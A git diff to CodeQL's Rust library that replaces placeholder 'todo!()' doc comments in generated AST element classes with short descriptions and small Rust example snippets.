a/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll index f990c62beec4..c8e682937108 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ArrayTypeRepr` class directly. * Use the subclass `ArrayTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll index 1c94b0accb3a..2971536accc5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll @@ -14,6 +14,13 @@ import codeql.rust.elements.internal.AsmPieceImpl::Impl as AsmPieceImpl */ module Generated { /** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmClobberAbi` class directly. * Use the subclass `AsmClobberAbi`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll index 3b059400afe6..be7539812bcc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.Expr */ module Generated { /** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmConst` class directly. * Use the subclass `AsmConst`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll index 868248966e6a..7a2f33a0a075 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll @@ -14,6 +14,13 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** + * An inline assembly directive specification. + * + * For example: + * ```rust + * asm!("nop"); + * // ^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmDirSpec` class directly. * Use the subclass `AsmDirSpec`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll index e327ccd38da4..d1b01f3c63c1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.BlockExpr */ module Generated { /** + * A label in an inline assembly block. + * + * For example: + * ```rust + * asm!("jmp {label}", label = sym my_label); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmLabel` class directly. * Use the subclass `AsmLabel`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll index 438b795b750e..98b6ff146a87 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.Expr */ module Generated { /** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOperandExpr` class directly. * Use the subclass `AsmOperandExpr`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll index bf370e972f92..187d6cd75f37 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll @@ -16,6 +16,13 @@ import codeql.rust.elements.Name */ module Generated { /** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + * // ^^^^^ ^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOperandNamed` class directly. * Use the subclass `AsmOperandNamed`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll index d226826bec05..388a94ca708a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll @@ -14,6 +14,13 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** + * An option in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOption` class directly. * Use the subclass `AsmOption`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll index ba21b8400141..862b9a254652 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.internal.AsmPieceImpl::Impl as AsmPieceImpl */ module Generated { /** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOptionsList` class directly. * Use the subclass `AsmOptionsList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll index 39516e748fd7..8693aafd924a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll @@ -17,6 +17,13 @@ import codeql.rust.elements.AsmRegSpec */ module Generated { /** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` * INTERNAL: Do not reference the `Generated::AsmRegOperand` class directly. * Use the subclass `AsmRegOperand`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll index e7ac536d4897..55498c976811 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.NameRef */ module Generated { /** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + * // ^^^ ^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmRegSpec` class directly. * Use the subclass `AsmRegSpec`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll index bc5800a093f7..8433dc2483ec 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.Path */ module Generated { /** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmSym` class directly. * Use the subclass `AsmSym`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll index aadca24997a5..d63e9824efd5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::AssocItem` class directly. * Use the subclass `AssocItem`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll index 4d6ab67d3d08..9a454152b202 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll @@ -16,7 +16,7 @@ import codeql.rust.elements.Attr */ module Generated { /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. * INTERNAL: Do not reference the `Generated::AssocItemList` class directly. * Use the subclass `AssocItemList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll index 66f6637e685b..c7aada0045d5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll @@ -22,9 +22,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * ::Item + * // ^^^^ * ``` * INTERNAL: Do not reference the `Generated::AssocTypeArg` class directly. * Use the subclass `AssocTypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll index 00784693f7d2..351b77154e3d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll @@ -15,9 +15,13 @@ import codeql.rust.elements.Meta */ module Generated { /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` * INTERNAL: Do not reference the `Generated::Attr` class directly. * Use the subclass `Attr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll index 20c26e455c75..3ec0785ce8d7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.GenericParamList */ module Generated { /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * for <'a> |x: &'a u32 | x + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ClosureBinder` class directly. * Use the subclass `ClosureBinder`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll index d63e58f120b2..3ff3c77f04ed 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` * INTERNAL: Do not reference the `Generated::Const` class directly. * Use the subclass `Const`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll index 153a4bc16b7f..d9a9ee1d8553 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.GenericArgImpl::Impl as GenericArgImpl */ module Generated { /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` * INTERNAL: Do not reference the `Generated::ConstArg` class directly. * Use the subclass `ConstArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll index 3069e5bc63cf..c2268deec020 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ConstParam` class directly. * Use the subclass `ConstParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll index 3ba7a5e4997a..8e82d3f428c6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::DynTraitTypeRepr` class directly. * Use the subclass `DynTraitTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll index 9c7c3bc331f1..ec5c97892f5f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` * INTERNAL: Do not reference the `Generated::Enum` class directly. * Use the subclass `Enum`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll index 823bf4173c4b..9b769440bd3b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll @@ -17,9 +17,13 @@ import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl */ module Generated { /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` * INTERNAL: Do not reference the `Generated::ExternBlock` class directly. * Use the subclass `ExternBlock`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll index f32f50b89d13..3484139b9fc2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll @@ -18,9 +18,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` * INTERNAL: Do not reference the `Generated::ExternCrate` class directly. * Use the subclass `ExternCrate`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll index 8756b7076084..09c6ed3bdeb2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll @@ -14,9 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` * INTERNAL: Do not reference the `Generated::ExternItem` class directly. * Use the subclass `ExternItem`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll index bffae8deb81e..250fe549b52f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.ExternItem */ module Generated { /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` * INTERNAL: Do not reference the `Generated::ExternItemList` class directly. * Use the subclass `ExternItemList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll index 8e8570c3eebb..caff5c624394 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll @@ -14,9 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::FieldList` class directly. * Use the subclass `FieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll index ebdbe7e772f4..c250406e68c9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::FnPtrTypeRepr` class directly. * Use the subclass `FnPtrTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll index 1804f3c70584..6089b1b73ba5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll @@ -17,9 +17,13 @@ import codeql.rust.elements.Pat */ module Generated { /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` * INTERNAL: Do not reference the `Generated::ForExpr` class directly. * Use the subclass `ForExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll index 6f539d1e7f22..46a51f3841b7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound(HRTB) type. + * + * For example: * ```rust - * todo!() + * for <'a> fn(&'a str) + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ForTypeRepr` class directly. * Use the subclass `ForTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll index 05227971de17..879872572481 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::GenericArg` class directly. * Use the subclass `GenericArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll index 56532c2a85e8..a3a363c17bb5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` * INTERNAL: Do not reference the `Generated::GenericParam` class directly. * Use the subclass `GenericParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll index 65b4a330b948..ad307cb177f5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll @@ -20,9 +20,13 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` * INTERNAL: Do not reference the `Generated::Impl` class directly. * Use the subclass `Impl`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll index ab4d36247e07..01ee54612c3d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ImplTraitTypeRepr` class directly. * Use the subclass `ImplTraitTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll index a4e874d3a9ad..780cc9a4b07d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` * INTERNAL: Do not reference the `Generated::InferTypeRepr` class directly. * Use the subclass `InferTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll index eaf0607c5d9b..bf360984e082 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.StmtImpl::Impl as StmtImpl */ module Generated { /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` * INTERNAL: Do not reference the `Generated::Item` class directly. * Use the subclass `Item`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll index 7205dbc6bef2..5d470ac9a779 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.Item */ module Generated { /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` * INTERNAL: Do not reference the `Generated::ItemList` class directly. * Use the subclass `ItemList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll index 69c89f1b3b59..442a4483c4b8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll @@ -15,9 +15,14 @@ import codeql.rust.elements.BlockExpr */ module Generated { /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::LetElse` class directly. * Use the subclass `LetElse`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll index 2819e6fc4038..9652d460b9ea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.UseBoundGenericArgImpl::Impl as UseBoundGen */ module Generated { /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` * INTERNAL: Do not reference the `Generated::Lifetime` class directly. * Use the subclass `Lifetime`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll index 38f66b06f2f9..098935e35b86 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Lifetime */ module Generated { /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo<'a> + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeArg` class directly. * Use the subclass `LifetimeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll index 7bf2d05b0864..a293bfd54276 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.TypeBoundList */ module Generated { /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeParam` class directly. * Use the subclass `LifetimeParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll index 6aea6ebfd8b0..4b4b1707e543 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll @@ -20,9 +20,12 @@ import codeql.rust.elements.TokenTree */ module Generated { /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MacroCall` class directly. * Use the subclass `MacroCall`, where the following predicates are available. diff --git 